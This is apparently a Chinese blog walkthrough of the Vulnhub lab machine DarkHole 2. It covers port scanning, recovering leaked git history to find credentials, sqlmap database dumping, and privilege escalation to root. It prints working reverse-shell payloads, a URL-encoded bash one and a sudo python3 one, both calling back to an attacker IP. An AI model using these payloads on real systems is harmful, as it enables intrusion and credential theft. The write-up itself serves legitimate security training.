Vulnhub實戰-Dockhole_2靶機?
靶機地址:https://www.vulnhub.com/entry/darkhole-2,740/
1.描述
hint:讓我們不要浪費時間在蠻力上面!
2.主機發現,埠掃描
- 主機發現
在kali上面掃描本地網段,發現主機IP192.168.33.88
nmap -sn 192.168.33.0/24
- 埠掃描
在kali中輸入以下命令
nmap -sS -p- -v 192.168.33.88
我們發現開啟了22,80埠,說明開啟了ssh跟web服務,還記得提示嘛,讓我們不要用蠻力噢。所有這裡我不打算暴力破解ssh賬號密碼,直接看看web服務有什麼線索吧。
3.web服務測試
- 訪問ip192.168.33.88,得到如下頁面:
分析頁面有什麼功能點,發現存在一個login頁面如下:
檢視頁面原始碼也沒有發現什麼有用的資訊,試試目錄掃描吧。
- 目錄掃描
開啟kali進入dirsearch進行目錄掃描
python3 dirsearch.py -u 'http://192.168.33.88' -i 200
我們看到一堆git目錄,說明存在git原始碼洩露,但是除了我們知道的index.php,login.php之外還出現了一個dashboard.php這個目錄,我們開啟看看發現不允許訪問,應該做了許可權驗證。所有先從git原始碼洩露下手吧。
- git原始碼下載
從上面我們看到這個頁面存在git原始碼洩露,頁面如下:
方法一:我們利用Githacker這個工具,將它下載到本地看看。(這裡提示一下,網上很多部落格說的是用Githack這個工具,但是這個工具我試了,並沒有把程式碼完整的克隆下來,Githack只是恢復原始碼的最新版本,而Githacker可以將開發者的提交歷史一起克隆下來並在本地重建。)
具體區別可以參考如下:https://blog.csdn.net/qq_37450949/article/details/117821102
方法二:我們也可以用wget -r
這個命令遞迴下載原始碼下來重建,也可以下載完全。
命令如下:
wget -r http://192.168.33.88/.git/
接下來在kali中輸入命令下載程式碼到本地:
githacker --url http://192.168.33.88/.git/ --folder output
意思是把原始碼下載到當前目錄output資料夾
然後我們可以檢視login.php的原始碼,可以看到登陸處的程式碼邏輯
接下來我們看看 git 歷史日誌,發現存在修改記錄,第二個那裡作者新增了預設憑據
git log
我們切換過去看看git checkout a4d900a8d85e89
切換歷史版本之後我們再次開啟login.php發現了預設的使用者名稱密碼
拿上使用者名稱密碼登入之後看到如下頁面:
- sql注入
我們檢視了一下原始碼,發現沒什麼可利用的,最後在url處發現有個id,我們猜測這裡存在SQL隱碼攻擊,這裡比較懶,就不用手工注入了,直接上sqlmap跑一下。
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' --current-db //爆資料庫
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 --tables //爆表
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 -T ssh --dump //爆內容
我們可以看到資料庫"dockhole_2",表有兩個"ssh,users",看了一下users表,發現沒有什麼重要資訊,在ssh表裡面發現了一個賬號密碼,我們可以拿來連線ssh。
4.提權
拿到使用者名稱密碼之後我們登入ssh:
進來之後我們看看是否存在具有suid許可權的檔案,發現不存在具有suid許可權的檔案。
find / -perm -u=s -type f 2>/dev/null
我們再看看是否具有root許可權能執行的命令,發現也沒有?
sudo -l
完了,沒路了。不會走了。看看其他大佬部落格他們接下來是去檢視linux的定時任務檔案
cat /etc/crontab
發現有一個使用者losy開啟了本地的9999埠,至於php -s是開啟了一個網路伺服器的意思。
我們嘗試去訪問9999埠,發現連線失敗,那麼我們就把靶機的9999埠轉發到本地來訪問。?
ssh -L 9999:127.0.0.1:9999 jehad@192.168.33.88
然後我們在瀏覽器訪問127.0.0.1:9999就可以訪問了,我們可以看到它是讓我們以GET的方式輸入一個cmd引數。噢對了,剛剛還有一個目錄我們看看裡面是什麼。裡面是一個一句話木馬,那就對上了。
接下來我們通過cmd引數反彈一個shell,kali監聽10086埠連線。
nc -lnvp 10086
payload:bash -c 'sh -i >& /dev/tcp/192.168.33.213/10086 0>&1'
因為是通過GET方式執行paylaod,所以我們要先進行url編碼:
%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%33%2e%32%31%33%2f%31%30%30%38%36%20%30%3e%26%31%27
傳送請求之後我們就連上shell了,我們可以看到使用者是losy
我們在losy的歷史命令中看到了設定的密碼:gang
接著我們通過ssh連線上losy,看到losy能以root許可權執行python3命令,所以我們自然就能想到反彈一個python3的反彈shell!?
ssh losy@192.168.33.88
sudo -l
sudo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.33.213",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
我們的kali監聽10086,可以看到反彈shell已經連上了,看看許可權是root許可權,然後在/root資料夾下面找到了root.txt,flag就在裡面!?
到這裡我們就結束了,成功提權到root許可權了!通過幹vulnhub,一天一個提權小技巧!?